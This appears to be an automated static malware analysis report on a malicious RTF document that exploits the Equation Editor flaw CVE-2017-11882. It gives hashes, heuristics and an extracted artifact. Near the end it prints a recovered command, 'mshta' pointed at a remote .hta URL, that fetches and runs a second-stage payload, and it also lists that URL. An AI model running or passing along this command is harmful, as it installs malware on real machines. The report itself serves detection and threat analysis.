Malicious RTF — malware analysis report

Static analysis result for SHA-256 3a206ecf67615c9f…

MALICIOUS

RTF

37.4 KB Created: 2018-02-22 10:05:00 First seen: 2018-03-24
MD5: 72c88e3f143a5eb8b0944ff108dfbfec SHA-1: 99b852db5b639afa580916d59bf840647851c690 SHA-256: 3a206ecf67615c9f7a8530fbb0b7a8bfc97a01b95168d4f15cfe59dbc415a42f
402 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object exploiting the CVE-2017-11882 vulnerability in Equation Editor. The document also contains a lure to 'ENABLE EDITING', suggesting it's designed to trick users into executing the exploit. The embedded URL likely points to a second-stage payload.

Heuristics 10

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Doc.Dropper.Agent-6471655-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6471655-0
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.al-enayah.com/ssfm/fbet.hta In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00007517.bin rtf-objdata-decoded RTF \objdata at offset 0x7517 3546 bytes
SHA-256: 8b8747b0e487957c6bcd0db632365b8866f9533d72ce6fcb34b67b47eae86fce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://www.al-enayah.com/ssfm/fbet.hta Static shellcode analysis recovered command string(s): mshta http://www.al-enayah.com/ssfm/fbet.hta